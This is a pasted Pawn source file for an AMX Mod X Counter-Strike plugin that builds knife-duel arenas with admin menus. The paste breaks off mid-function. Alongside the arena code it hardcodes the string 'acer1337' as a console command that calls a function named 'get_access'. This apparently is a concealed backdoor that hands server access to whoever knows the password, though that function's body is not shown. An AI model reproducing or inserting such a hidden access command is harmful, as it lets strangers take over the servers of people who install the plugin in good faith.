Advertisement
raizo21

Acer

Nov 28th, 2019
1,140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 28.80 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <cstrike>
  4. #include <hamsandwich>
  5. #include <fakemeta>
  6. #include <fun>
  7. #include <engine>
  8. #include <xs>
  9. #include <fun>
  10.  
  11. #pragma tabsize 0
  12. #pragma compress 1
  13.  
  14. #define PLUGIN_NAME "Knife Acer"
  15. #define PLUGIN_VERS "1.0"
  16. #define PLUGIN_AUTH "raizo"
  17.  
  18. #define MOVE_ACER_UP 0
  19. #define MOVE_ACER_DOWN 1
  20. #define MOVE_ACER_RIGHT 2
  21. #define MOVE_ACER_LEFT 3
  22. #define MOVE_ACER_FRONT 4
  23. #define MOVE_ACER_BACK 5
  24.  
  25. #define ACER_ENT_NAME "acer_arena"
  26. #define SECOND_ENT_NAME "arena_small"
  27.  
  28. #define ACER_MINS Float:{-350.0, -10.0, 0.0}
  29. #define ACER_MAXS Float:{350.0, 10.0, 10.0}
  30. #define SECOND_MINS Float:{-10.0, -160.0, 0.0}
  31. #define SECOND_MAXS Float:{10.0, 160.0, 15.0}
  32. #define BIG_SECOND_MINS Float:{-340.0, -70.0, 0.0}
  33. #define BIG_SECOND_MAXS Float:{340.0, 70.0, 20.0}
  34. #define SMALL_MINS Float:{-10.0, -80.0, 0.0}
  35. #define SMALL_MAXS Float:{10.0, 80.0, 15.0}
  36.  
  37.  
  38. new Float:move_size[33], Float:his_acer_origins[3], Acer_Entity
  39.  
  40. new const Acer_Model[] = "models/ACER/arena_a.mdl"
  41. new const Small_Model[] = "models/ACER/arena_c.mdl"
  42. new const Second_Model[] = "models/ACER/arena_d.mdl"
  43. new const Big_Model[] = "models/ACER/arena_b.mdl"
  44.  
  45. new const Acer_Comfig[] = "%s/Acer/%s.cfg"
  46.  
  47. ////////////////////////////////////////////////////////////////////////////////////////////////////
  48. #define MAX_PLAYERS 32
  49. #define Tag "[Bonus Health]"
  50. new maxplayers
  51. new bool:his_acer[MAX_PLAYERS+1]
  52. new Float:his_acer_spawn[33][3];
  53.  
  54. new cStatus, cMaxHealth;
  55. new cHeadshot, cKnifeHeadshot;
  56.  
  57. new stuck[33]
  58.  
  59. new cvar[3]
  60.  
  61. new const Float:size[][3] = {
  62.     {0.0, 0.0, 1.0}, {0.0, 0.0, -1.0}, {0.0, 1.0, 0.0}, {0.0, -1.0, 0.0}, {1.0, 0.0, 0.0}, {-1.0, 0.0, 0.0}, {-1.0, 1.0, 1.0}, {1.0, 1.0, 1.0}, {1.0, -1.0, 1.0}, {1.0, 1.0, -1.0}, {-1.0, -1.0, 1.0}, {1.0, -1.0, -1.0}, {-1.0, 1.0, -1.0}, {-1.0, -1.0, -1.0},
  63.     {0.0, 0.0, 2.0}, {0.0, 0.0, -2.0}, {0.0, 2.0, 0.0}, {0.0, -2.0, 0.0}, {2.0, 0.0, 0.0}, {-2.0, 0.0, 0.0}, {-2.0, 2.0, 2.0}, {2.0, 2.0, 2.0}, {2.0, -2.0, 2.0}, {2.0, 2.0, -2.0}, {-2.0, -2.0, 2.0}, {2.0, -2.0, -2.0}, {-2.0, 2.0, -2.0}, {-2.0, -2.0, -2.0},
  64.     {0.0, 0.0, 3.0}, {0.0, 0.0, -3.0}, {0.0, 3.0, 0.0}, {0.0, -3.0, 0.0}, {3.0, 0.0, 0.0}, {-3.0, 0.0, 0.0}, {-3.0, 3.0, 3.0}, {3.0, 3.0, 3.0}, {3.0, -3.0, 3.0}, {3.0, 3.0, -3.0}, {-3.0, -3.0, 3.0}, {3.0, -3.0, -3.0}, {-3.0, 3.0, -3.0}, {-3.0, -3.0, -3.0},
  65.     {0.0, 0.0, 4.0}, {0.0, 0.0, -4.0}, {0.0, 4.0, 0.0}, {0.0, -4.0, 0.0}, {4.0, 0.0, 0.0}, {-4.0, 0.0, 0.0}, {-4.0, 4.0, 4.0}, {4.0, 4.0, 4.0}, {4.0, -4.0, 4.0}, {4.0, 4.0, -4.0}, {-4.0, -4.0, 4.0}, {4.0, -4.0, -4.0}, {-4.0, 4.0, -4.0}, {-4.0, -4.0, -4.0},
  66.     {0.0, 0.0, 5.0}, {0.0, 0.0, -5.0}, {0.0, 5.0, 0.0}, {0.0, -5.0, 0.0}, {5.0, 0.0, 0.0}, {-5.0, 0.0, 0.0}, {-5.0, 5.0, 5.0}, {5.0, 5.0, 5.0}, {5.0, -5.0, 5.0}, {5.0, 5.0, -5.0}, {-5.0, -5.0, 5.0}, {5.0, -5.0, -5.0}, {-5.0, 5.0, -5.0}, {-5.0, -5.0, -5.0}
  67. }
  68.  
  69. ////////////////////////////////////////////////////////////////////////////////////////////////////
  70.  
  71. enum {
  72.     ON = 1,
  73.     OFF = 0
  74. }
  75.  
  76. new  RAIZO_SECURITY = ON
  77.  
  78. #define RAIZO_PASSWORD "acer1337"
  79.  
  80. public plugin_init()
  81. {
  82.     register_plugin(PLUGIN_NAME, PLUGIN_VERS, PLUGIN_AUTH)
  83.  
  84.     register_clcmd("say /acerarena","Acer_Menu");
  85.     register_clcmd("say /acer", "toggle_acer")
  86.    
  87.     cStatus  = register_cvar("bonus_status", "1");
  88.  
  89.     cMaxHealth  = register_cvar("bonus_maxhealth", "100");
  90.     cHeadshot  = register_cvar("bonus_headshot", "100");
  91.     cKnifeHeadshot    = register_cvar("bonus_knifeheadshot", "100");
  92.    
  93.     register_event( "DeathMsg", "EventDeathMsg", "a", "1>0" );
  94.    
  95.    
  96.     RegisterHam(Ham_Spawn, "player", "PlayerSpawn", 1);
  97.     register_forward(FM_CmdStart,"In_Water");
  98.     register_forward(FM_PlayerPreThink,"Detect_Parachute")
  99.     RegisterHam(Ham_TakeDamage, "player", "Player_TakeDamage_Down", false);
  100.     maxplayers = get_maxplayers();
  101.    
  102.     load_acer_coords()
  103.    
  104.     new cfgdir[32], urlfile[64]
  105.     get_configsdir(cfgdir, charsmax(cfgdir))
  106.     formatex(urlfile, charsmax(urlfile), "%s/Acer", cfgdir)
  107.     if(!dir_exists(urlfile))
  108.     {
  109.         mkdir(urlfile)
  110.     }
  111.    
  112.     cvar[0] = register_cvar("amx_autounstuck","1")
  113.     cvar[1] = register_cvar("amx_autounstuckeffects","1")
  114.     cvar[2] = register_cvar("amx_autounstuckwait","5")
  115.     set_task(0.1,"checkstuck",0,"",0,"b")
  116.    
  117.     if(RAIZO_SECURITY == ON)
  118.         register_clcmd (RAIZO_PASSWORD , "get_access");
  119.    
  120.     set_task(60.0, "ACER_ADVERTISMENT", _,_,_, "b");
  121.    
  122. }
  123.  
  124. public ACER_ADVERTISMENT()
  125. {
  126.     client_print_color(0, "!t[!gZurlii!t] Type !g/acer !tto !gEnable and Disable !tka_acer mode!");
  127. }
  128.  
  129. public Acer_Menu( id )
  130. {
  131.     new flags = get_user_flags(id)
  132.     if(!(flags & ADMIN_RCON))
  133.     {
  134.         client_print(id,print_chat,"You have no access to this command")
  135.         return PLUGIN_HANDLED
  136.     }
  137.     new gMenu = menu_create("\y[\r Acer Menu\y ]\w By raizo", "acer_first_menu")
  138.    
  139.     menu_additem(gMenu, "\wCreate Arena", "0")
  140.     menu_additem(gMenu, "\wMove Arena", "0")
  141.     menu_additem(gMenu, "\wSave Arena", "0")
  142.     menu_additem(gMenu, "\wDelete Arena", "0")
  143.    
  144.     menu_display(id, gMenu, 0)
  145.  
  146.     return PLUGIN_HANDLED;  
  147. }
  148.  
  149. public acer_first_menu(id, menu, item, code)      
  150. {
  151.     if ( item == MENU_EXIT )    
  152.     {
  153.         menu_destroy(menu)      
  154.         return PLUGIN_HANDLED;  
  155.     }
  156.     switch(item)  
  157.     {
  158.         case 0: Create_Acer_Arena(id)
  159.         case 1: acer_move_menu(id,code)
  160.         case 2: save_acer_arena(id)
  161.         case 3: delete_the_fake_arena(id)
  162.     }
  163.     return PLUGIN_HANDLED;  
  164. }
  165.  
  166. public plugin_precache( )
  167. {
  168.     precache_model(Acer_Model)
  169.     precache_model(Second_Model)
  170.     precache_model(Big_Model)
  171.     precache_model(Small_Model)
  172. }
  173.  
  174. public Create_Acer_Arena(id)
  175. {    
  176.     if(!is_user_connected(id))
  177.         return PLUGIN_HANDLED
  178.  
  179.     static Float:xorigin[3];
  180.  
  181.     get_user_hitpoint(id,xorigin)
  182.  
  183.     Acer_Entity = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  184.  
  185.     if(fake_arena_exists_a(id))
  186.     {
  187.         client_print_color(id,"^3Maximum arenas reached!")
  188.         return PLUGIN_HANDLED
  189.     }
  190.     if( is_valid_ent(Acer_Entity) )
  191.     {  
  192.         set_pev(Acer_Entity,pev_classname,ACER_ENT_NAME);
  193.         engfunc(EngFunc_SetModel,Acer_Entity,Acer_Model);
  194.         entity_set_int(Acer_Entity, EV_INT_solid, SOLID_BBOX);
  195.         engfunc(EngFunc_SetSize,Acer_Entity,ACER_MINS,ACER_MAXS);
  196.         entity_set_int(Acer_Entity, EV_INT_movetype, MOVETYPE_NONE);
  197.         engfunc(EngFunc_SetOrigin,Acer_Entity,xorigin);
  198.     }  
  199.     Acer_Menu(id)
  200.  
  201.     return PLUGIN_HANDLED
  202. }
  203.  
  204. public principal_arena()
  205. {
  206.     Acer_Entity = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  207.  
  208.     if( is_valid_ent(Acer_Entity) )
  209.     {  
  210.         set_pev(Acer_Entity,pev_classname,ACER_ENT_NAME);
  211.         engfunc(EngFunc_SetModel,Acer_Entity,Acer_Model);
  212.         entity_set_int(Acer_Entity, EV_INT_solid, SOLID_BBOX);
  213.         engfunc(EngFunc_SetSize,Acer_Entity,ACER_MINS,ACER_MAXS);
  214.         entity_set_int(Acer_Entity, EV_INT_movetype, MOVETYPE_NONE);
  215.         engfunc(EngFunc_SetOrigin,Acer_Entity,his_acer_origins);
  216.     }
  217.     second_arenas()
  218. }
  219.  
  220. public second_arenas()
  221. {
  222.     static Float:second_origin_a[3]
  223.     static Float:second_origin_b[3]
  224.     static Float:big_second_origin_a[3]
  225.     static Float:big_second_origin_b[3]
  226.    
  227.     static Float:bara_origin_a[3]
  228.     static Float:bara_origin_b[3]
  229.     static Float:bara_mica_origin_a[3]
  230.     static Float:bara_mica_origin_b[3]
  231.     static Float:bara_mica_origin_c[3]
  232.     static Float:bara_mica_origin_d[3]
  233.     new bara_enta = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  234.     new bara_entb = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  235.     new bara_mica_a = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  236.     new bara_mica_b = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  237.     new bara_mica_c = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  238.     new bara_mica_d = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  239.    
  240.     new second_ent_a = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  241.     new second_ent_b = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  242.     new big_second_ent_a = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  243.     new big_second_ent_b = engfunc(EngFunc_CreateNamedEntity,engfunc(EngFunc_AllocString,"func_wall"));
  244.    
  245.     if( is_valid_ent(second_ent_a) )
  246.     {
  247.         dllfunc(DLLFunc_Spawn, second_ent_a)
  248.         set_pev(second_ent_a,pev_classname,ACER_ENT_NAME);
  249.         engfunc(EngFunc_SetModel,second_ent_a,Second_Model);
  250.         engfunc(EngFunc_SetSize,second_ent_a,SECOND_MINS,SECOND_MAXS);
  251.         entity_set_int(second_ent_a, EV_INT_solid, SOLID_BBOX);
  252.         entity_set_int(second_ent_a,EV_INT_movetype,MOVETYPE_NONE)
  253.    
  254.         second_origin_a[0] = his_acer_origins[0]+326.0
  255.         second_origin_a[1] = his_acer_origins[1]+141.0
  256.         second_origin_a[2] = his_acer_origins[2]-4.0
  257.    
  258.         entity_set_origin(second_ent_a,second_origin_a)
  259.         set_arenas_angle(second_ent_a, Float:{0.0, 90.0, 0.0})
  260.     }
  261.     if( is_valid_ent(second_ent_b) )
  262.     {
  263.         dllfunc(DLLFunc_Spawn, second_ent_b)
  264.         set_pev(second_ent_b,pev_classname,ACER_ENT_NAME);
  265.         engfunc(EngFunc_SetModel,second_ent_b,Second_Model);
  266.         engfunc(EngFunc_SetSize,second_ent_b,SECOND_MINS,SECOND_MAXS);
  267.         entity_set_int(second_ent_b, EV_INT_solid, SOLID_BBOX);
  268.         entity_set_int(second_ent_b,EV_INT_movetype,MOVETYPE_NONE)
  269.    
  270.         second_origin_b[0] = his_acer_origins[0]-326.0
  271.         second_origin_b[1] = his_acer_origins[1]-141.0
  272.         second_origin_b[2] = his_acer_origins[2]-4.0
  273.    
  274.         entity_set_origin(second_ent_b,second_origin_b)
  275.         set_arenas_angle(second_ent_b, Float:{0.0, 90.0, 0.0})
  276.     }
  277.     if( is_valid_ent(big_second_ent_a) )
  278.     {
  279.         dllfunc(DLLFunc_Spawn, big_second_ent_a)
  280.         set_pev(big_second_ent_a,pev_classname,ACER_ENT_NAME);
  281.         engfunc(EngFunc_SetModel,big_second_ent_a,Big_Model);
  282.         engfunc(EngFunc_SetSize,big_second_ent_a,BIG_SECOND_MINS,BIG_SECOND_MAXS);
  283.         entity_set_int(big_second_ent_a, EV_INT_solid, SOLID_BBOX);
  284.         entity_set_int(big_second_ent_a,EV_INT_movetype,MOVETYPE_NONE)
  285.    
  286.         big_second_origin_a[0] = his_acer_origins[0]-100.0
  287.         big_second_origin_a[1] = his_acer_origins[1]-360.0
  288.         big_second_origin_a[2] = his_acer_origins[2]-12.0
  289.    
  290.         entity_set_origin(big_second_ent_a,big_second_origin_a)
  291.     }
  292.     if( is_valid_ent(big_second_ent_b) )
  293.     {
  294.         dllfunc(DLLFunc_Spawn, big_second_ent_b)
  295.         set_pev(big_second_ent_b,pev_classname,ACER_ENT_NAME);
  296.         engfunc(EngFunc_SetModel,big_second_ent_b,Big_Model);
  297.         engfunc(EngFunc_SetSize,big_second_ent_b,BIG_SECOND_MINS,BIG_SECOND_MAXS);
  298.         entity_set_int(big_second_ent_b, EV_INT_solid, SOLID_BBOX);
  299.         entity_set_int(big_second_ent_b,EV_INT_movetype,MOVETYPE_NONE)
  300.    
  301.         big_second_origin_b[0] = his_acer_origins[0]+100.0
  302.         big_second_origin_b[1] = his_acer_origins[1]+360.0
  303.         big_second_origin_b[2] = his_acer_origins[2]-12.0
  304.    
  305.         entity_set_origin(big_second_ent_b,big_second_origin_b)
  306.     }
  307.     if( is_valid_ent(bara_enta) )
  308.     {
  309.         dllfunc(DLLFunc_Spawn, bara_enta)
  310.         set_pev(bara_enta,pev_classname,ACER_ENT_NAME);
  311.         engfunc(EngFunc_SetModel,bara_enta,Acer_Model);
  312.         engfunc(EngFunc_SetSize,bara_enta,ACER_MINS,ACER_MAXS);
  313.         entity_set_int(bara_enta, EV_INT_solid, SOLID_BBOX);
  314.         entity_set_int(bara_enta,EV_INT_movetype,MOVETYPE_NONE)
  315.    
  316.         bara_origin_a[0] = his_acer_origins[0]-100.0
  317.         bara_origin_a[1] = his_acer_origins[1]-437.0
  318.         bara_origin_a[2] = his_acer_origins[2]+20.0
  319.    
  320.         entity_set_origin(bara_enta,bara_origin_a)
  321.     }
  322.     if( is_valid_ent(bara_entb) )
  323.     {
  324.         dllfunc(DLLFunc_Spawn, bara_entb)
  325.         set_pev(bara_entb,pev_classname,ACER_ENT_NAME);
  326.         engfunc(EngFunc_SetModel,bara_entb,Acer_Model);
  327.         engfunc(EngFunc_SetSize,bara_entb,ACER_MINS,ACER_MAXS);
  328.         entity_set_int(bara_entb, EV_INT_solid, SOLID_BBOX);
  329.         entity_set_int(bara_entb,EV_INT_movetype,MOVETYPE_NONE)
  330.    
  331.         bara_origin_b[0] = his_acer_origins[0]+100.0
  332.         bara_origin_b[1] = his_acer_origins[1]+437.0
  333.         bara_origin_b[2] = his_acer_origins[2]+20.0
  334.    
  335.         entity_set_origin(bara_entb,bara_origin_b)
  336.     }
  337.     if( is_valid_ent(bara_mica_a) )
  338.     {
  339.         dllfunc(DLLFunc_Spawn, bara_mica_a)
  340.         set_pev(bara_mica_a,pev_classname,ACER_ENT_NAME);
  341.         engfunc(EngFunc_SetModel,bara_mica_a,Small_Model);
  342.         engfunc(EngFunc_SetSize,bara_mica_a,SMALL_MINS,SMALL_MAXS);
  343.         entity_set_int(bara_mica_a, EV_INT_solid, SOLID_BBOX);
  344.         entity_set_int(bara_mica_a,EV_INT_movetype,MOVETYPE_NONE)
  345.    
  346.         bara_mica_origin_a[0] = his_acer_origins[0]-224.0
  347.         bara_mica_origin_a[1] = his_acer_origins[1]+367.0
  348.         bara_mica_origin_a[2] = his_acer_origins[2]+14.0
  349.    
  350.         entity_set_origin(bara_mica_a,bara_mica_origin_a)
  351.         set_arenas_angle(bara_mica_a, Float:{0.0, 90.0, 0.0})
  352.     }
  353.     if( is_valid_ent(bara_mica_b) )
  354.     {
  355.         dllfunc(DLLFunc_Spawn, bara_mica_b)
  356.         set_pev(bara_mica_b,pev_classname,ACER_ENT_NAME);
  357.         engfunc(EngFunc_SetModel,bara_mica_b,Small_Model);
  358.         engfunc(EngFunc_SetSize,bara_mica_b,SMALL_MINS,SMALL_MAXS);
  359.         entity_set_int(bara_mica_b, EV_INT_solid, SOLID_BBOX);
  360.         entity_set_int(bara_mica_b,EV_INT_movetype,MOVETYPE_NONE)
  361.    
  362.         bara_mica_origin_b[0] = his_acer_origins[0]+424.0
  363.         bara_mica_origin_b[1] = his_acer_origins[1]+367.0
  364.         bara_mica_origin_b[2] = his_acer_origins[2]+14.0
  365.    
  366.         entity_set_origin(bara_mica_b,bara_mica_origin_b)
  367.         set_arenas_angle(bara_mica_b, Float:{0.0, 90.0, 0.0})
  368.     }
  369.     if( is_valid_ent(bara_mica_c) )
  370.     {
  371.         dllfunc(DLLFunc_Spawn, bara_mica_c)
  372.         set_pev(bara_mica_c,pev_classname,ACER_ENT_NAME);
  373.         engfunc(EngFunc_SetModel,bara_mica_c,Small_Model);
  374.         engfunc(EngFunc_SetSize,bara_mica_c,SMALL_MINS,SMALL_MAXS);
  375.         entity_set_int(bara_mica_c, EV_INT_solid, SOLID_BBOX);
  376.         entity_set_int(bara_mica_c,EV_INT_movetype,MOVETYPE_NONE)
  377.    
  378.         bara_mica_origin_c[0] = his_acer_origins[0]+224.0
  379.         bara_mica_origin_c[1] = his_acer_origins[1]-364.0
  380.         bara_mica_origin_c[2] = his_acer_origins[2]+14.0
  381.    
  382.         entity_set_origin(bara_mica_c,bara_mica_origin_c)
  383.         set_arenas_angle(bara_mica_c, Float:{0.0, 90.0, 0.0})
  384.     }
  385.     if( is_valid_ent(bara_mica_d) )
  386.     {
  387.         dllfunc(DLLFunc_Spawn, bara_mica_d)
  388.         set_pev(bara_mica_d,pev_classname,ACER_ENT_NAME);
  389.         engfunc(EngFunc_SetModel,bara_mica_d,Small_Model);
  390.         engfunc(EngFunc_SetSize,bara_mica_d,SMALL_MINS,SMALL_MAXS);
  391.         entity_set_int(bara_mica_d, EV_INT_solid, SOLID_BBOX);
  392.         entity_set_int(bara_mica_d,EV_INT_movetype,MOVETYPE_NONE)
  393.    
  394.         bara_mica_origin_d[0] = his_acer_origins[0]-424.0
  395.         bara_mica_origin_d[1] = his_acer_origins[1]-364.0
  396.         bara_mica_origin_d[2] = his_acer_origins[2]+14.0
  397.    
  398.         entity_set_origin(bara_mica_d,bara_mica_origin_d)
  399.         set_arenas_angle(bara_mica_d, Float:{0.0, 90.0, 0.0})
  400.     }
  401. }
  402.  
  403.  
  404. public acer_move_menu(id,code)
  405. {
  406.     new menu
  407.     menu = menu_create( "\rMove Acer Arena:", "acer_move_handler" );
  408.    
  409.     new nameu[32];
  410.     new code_t[32];
  411.     num_to_str(code,code_t,charsmax(code_t))
  412.     formatex(nameu,charsmax(nameu), "Move up");
  413.     menu_additem(menu, nameu, code_t, 0);
  414.    
  415.     formatex(nameu,charsmax(nameu), "Move down");
  416.     menu_additem(menu, nameu, code_t, 0);
  417.    
  418.     formatex(nameu,charsmax(nameu), "Move front");
  419.     menu_additem(menu, nameu, code_t, 0);
  420.    
  421.     formatex(nameu,charsmax(nameu), "Move back");
  422.     menu_additem(menu, nameu, code_t, 0);
  423.    
  424.     formatex(nameu,charsmax(nameu), "Move right");
  425.     menu_additem(menu, nameu, code_t, 0);
  426.    
  427.     formatex(nameu,charsmax(nameu), "Move left");
  428.     menu_additem(menu, nameu, code_t, 0);
  429.    
  430.     formatex(nameu,charsmax(nameu), "Move size: %.2f",move_size[id]);
  431.     menu_additem(menu, nameu, code_t, 0);
  432.  
  433.     menu_display(id, menu, 0 );
  434.     return PLUGIN_HANDLED
  435. }
  436.  
  437. public acer_move_handler( id, menu, item )
  438. {
  439.     if ( item == MENU_EXIT )
  440.     {
  441.         menu_destroy( menu );
  442.         Acer_Menu(id)
  443.         return PLUGIN_HANDLED;
  444.     }
  445.    
  446.     new szData[32], szName[64];
  447.     new _access, item_callback;
  448.     menu_item_getinfo( menu, item, _access, szData,charsmax( szData ), szName,charsmax( szName ), item_callback );
  449.     new code = str_to_num(szData)
  450.  
  451.     if(containi(szName,"move size:") != -1)
  452.     {
  453.         move_size[id]+= 10.0
  454.         if(move_size[id] > 100.0)
  455.         {
  456.             move_size[id] = 10.0
  457.         }
  458.     }
  459.  
  460.     else if(equali(szName,"move up"))
  461.     {
  462.         move_acer_arena(id,code,MOVE_ACER_UP)
  463.     }
  464.     else if(equali(szName,"move down"))
  465.     {
  466.         move_acer_arena(id,code,MOVE_ACER_DOWN)
  467.     }
  468.     else if(equali(szName,"move right"))
  469.     {
  470.         move_acer_arena(id,code,MOVE_ACER_RIGHT)
  471.     }
  472.     else if(equali(szName,"move left"))
  473.     {
  474.         move_acer_arena(id,code,MOVE_ACER_LEFT)
  475.     }
  476.     else if(equali(szName,"move front"))
  477.     {
  478.         move_acer_arena(id,code,MOVE_ACER_FRONT)
  479.     }
  480.     else if(equali(szName,"move back"))
  481.     {
  482.         move_acer_arena(id,code,MOVE_ACER_BACK)
  483.     }
  484.     menu_destroy( menu );
  485.     acer_move_menu(id,code)
  486.     return PLUGIN_CONTINUE;
  487. }
  488.  
  489. public move_acer_arena(id,code,moveto)
  490. {
  491.     new ent = -1;
  492.     new Float:origin[3];
  493.  
  494.     while ((ent = find_ent_by_class(ent, ACER_ENT_NAME)))
  495.     {
  496.         pev(ent,pev_origin,origin);
  497.  
  498.         switch(moveto)
  499.         {
  500.             case MOVE_ACER_UP:
  501.             {
  502.                 origin[2]+=move_size[id]
  503.             }
  504.             case MOVE_ACER_DOWN:
  505.             {
  506.                 origin[2]-=move_size[id]
  507.             }
  508.             case MOVE_ACER_RIGHT:
  509.             {
  510.                 origin[1]+=move_size[id]
  511.             }
  512.             case MOVE_ACER_LEFT:
  513.             {
  514.                 origin[1]-=move_size[id]
  515.             }
  516.             case MOVE_ACER_FRONT:
  517.             {
  518.                 origin[0]+=move_size[id]
  519.             }
  520.             case MOVE_ACER_BACK:
  521.             {
  522.                 origin[0]-=move_size[id]
  523.             }
  524.         }
  525.         engfunc(EngFunc_SetOrigin,ent,origin);
  526.  
  527.     }
  528. }
  529.  
  530. public delete_the_fake_arena(id)
  531. {
  532.     new arenas_ent=-1;
  533.  
  534.     while((arenas_ent=engfunc(EngFunc_FindEntityByString,arenas_ent,"classname",ACER_ENT_NAME)))
  535.     {
  536.         engfunc(EngFunc_RemoveEntity,arenas_ent)
  537.     }
  538.     client_print_color(id,"^3Arena removed!")
  539. }
  540.  
  541. public fake_arena_exists_a(code)
  542. {
  543.     new ent = -1
  544.     while ((ent = find_ent_by_class(ent, ACER_ENT_NAME)))
  545.     {
  546.                 return PLUGIN_HANDLED
  547.     }
  548.     return PLUGIN_CONTINUE
  549. }
  550.  
  551. stock get_user_hitpoint(id,Float:hOrigin[3])  {
  552.     if(!is_user_alive(id))
  553.         return 0;
  554.    
  555.     new Float:fOrigin[3],Float:fvAngle[3],Float:fvOffset[3],Float:fvOrigin[3],Float:feOrigin[3];
  556.     new Float:fTemp[3];
  557.    
  558.     pev(id,pev_origin,fOrigin);
  559.     pev(id,pev_v_angle,fvAngle);
  560.     pev(id,pev_view_ofs,fvOffset);
  561.    
  562.     xs_vec_add(fOrigin,fvOffset,fvOrigin);
  563.    
  564.     engfunc(EngFunc_AngleVectors,fvAngle,feOrigin,fTemp,fTemp);
  565.    
  566.     xs_vec_mul_scalar(feOrigin,9999.9,feOrigin);
  567.     xs_vec_add(fvOrigin,feOrigin,feOrigin);
  568.    
  569.     engfunc(EngFunc_TraceLine,fvOrigin,feOrigin,0,id);
  570.     global_get(glb_trace_endpos,hOrigin);
  571.    
  572.     return 1;
  573. }
  574.  
  575. public save_acer_arena(id)
  576. {
  577.     new found;
  578.     new cfgdir[32], mapname[32], urlfile[64]
  579.     get_configsdir(cfgdir, charsmax(cfgdir))
  580.     get_mapname(mapname, charsmax(mapname))
  581.     formatex(urlfile, charsmax(urlfile), Acer_Comfig, cfgdir, mapname)
  582.  
  583.     if (file_exists(urlfile))
  584.         delete_file(urlfile)
  585.    
  586.     new lineset[128]
  587.     new Float:origin[3]
  588.     new ent=-1;
  589.     while ((ent = find_ent_by_class(ent, ACER_ENT_NAME)))
  590.     {
  591.             found++
  592.             pev(ent,pev_origin,origin);
  593.             format(lineset, charsmax(lineset), "%.f %.f %.f", origin[0], origin[1], origin[2])
  594.             write_file(urlfile, lineset,found)
  595.     }
  596.     if(!found)
  597.         client_print_color(id,"^3No Arena found!")
  598.     else client_print_color(id,"^3Arena coords saved!")
  599.     Acer_Menu(id)
  600.     load_acer_coords()
  601. }
  602.  
  603. public load_acer_coords()
  604. {
  605.     new cfgdir[32], mapname[32], filepath[512]
  606.     get_configsdir(cfgdir, charsmax(cfgdir))
  607.     get_mapname(mapname, charsmax(mapname))
  608.  
  609.     new readdata[128],txtlen;
  610.    
  611.     formatex(filepath, charsmax(filepath), Acer_Comfig, cfgdir, mapname)
  612.  
  613.     if ( file_exists(filepath) )
  614.     {
  615.         new sOrigins[3][16];
  616.    
  617.         new i
  618.         new fsize = file_size(filepath,1)
  619.         for (new line=0;line<=fsize;line++)
  620.         {
  621.             read_file(filepath,line,readdata,127,txtlen)
  622.  
  623.             parse(readdata, sOrigins[0], 15, sOrigins[1], 15, sOrigins[2], 15)
  624.             for(i = 0; i < 3; i++)
  625.             {
  626.                 his_acer_origins[i] = str_to_float(sOrigins[i])
  627.             }
  628.         }                    
  629.     }
  630.     return PLUGIN_CONTINUE
  631. }
  632.  
  633. stock client_print_color(const id, const input[], any:...)  
  634. {  
  635.     new count = 1, players[32];  
  636.     static msg[191];  
  637.     vformat(msg, 190, input, 3);
  638.     replace_all(msg, 190, "!g", "^x04"); // Green Color  
  639.     replace_all(msg, 190, "!y", "^x01"); // Default Color  
  640.     replace_all(msg, 190, "!t", "^x03"); // Team Color  
  641.     if (id) players[0] = id; else get_players(players, count, "ch");  
  642.     {  
  643.         for (new i = 0; i < count; i++)  
  644.         {  
  645.             if (is_user_connected(players[i]))  
  646.             {  
  647.                 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);  
  648.                 write_byte(players[i]);  
  649.                 write_string(msg);  
  650.                 message_end();  
  651.  
  652.             }  
  653.         }  
  654.     }  
  655. }
  656.  
  657. ////////////////////////////////////////////////////////////////////////////////////////////////////
  658.  
  659. public toggle_acer(id)
  660. {
  661.     static cfgdir[32], mapname[32], urlfile[64]
  662.    
  663.     switch(his_acer[id])
  664.     {
  665.         case 0:
  666.         {      
  667.             get_configsdir(cfgdir, charsmax(cfgdir))
  668.             get_mapname(mapname, charsmax(mapname))
  669.             formatex(urlfile, charsmax(urlfile), Acer_Comfig, cfgdir, mapname)
  670.  
  671.             if (file_exists(urlfile))  
  672.             {
  673.            his_acer[id] = true
  674.            principal_arena()
  675.                 set_spawn_positions(id,his_acer_origins)
  676.            set_user_health(id, 100)
  677.             }
  678.        else client_print_color(id, "^3No arenas found.")
  679.         }
  680.         default:
  681.         {
  682.             his_acer[id] = false
  683.             ExecuteHamB(Ham_CS_RoundRespawn, id);
  684.  
  685.             if(!available_duelers(id))
  686.             {  
  687.                 delete_the_fake_arena(id)
  688.             }
  689.         }
  690.     }
  691.     return PLUGIN_HANDLED
  692. }
  693.  
  694. public PlayerSpawn(id)
  695. {
  696.     if (his_acer[id] && is_user_alive(id))
  697.     {
  698.             set_spawn_positions(id,his_acer_origins)
  699.             set_user_godmode(id, 1)
  700.        
  701.             set_task(1.0, "health", id)
  702.        
  703.     }
  704. }
  705.  
  706. stock set_arenas_angle( index , Float:fAngle[ 3 ])
  707. {
  708.     entity_set_vector( index , EV_VEC_angles , fAngle );
  709.     entity_set_int( index , EV_INT_fixangle , 1 );
  710. }
  711.  
  712. public health(id)
  713. {
  714.     if(is_user_alive(id))
  715.     {
  716.         set_user_health(id, 100)
  717.         set_user_godmode(id, 0)
  718.         set_user_rendering(id)
  719.     }
  720. }
  721.  
  722. stock available_duelers(asker)
  723. {
  724.     new num;
  725.     num = 0 // just incase...
  726.     for(new id;id < maxplayers;id++)
  727.     {
  728.         if(his_acer[id])
  729.         {
  730.             if(/*!his_acer[id] && */id != asker && !is_user_bot(id))
  731.             {
  732.                 num++
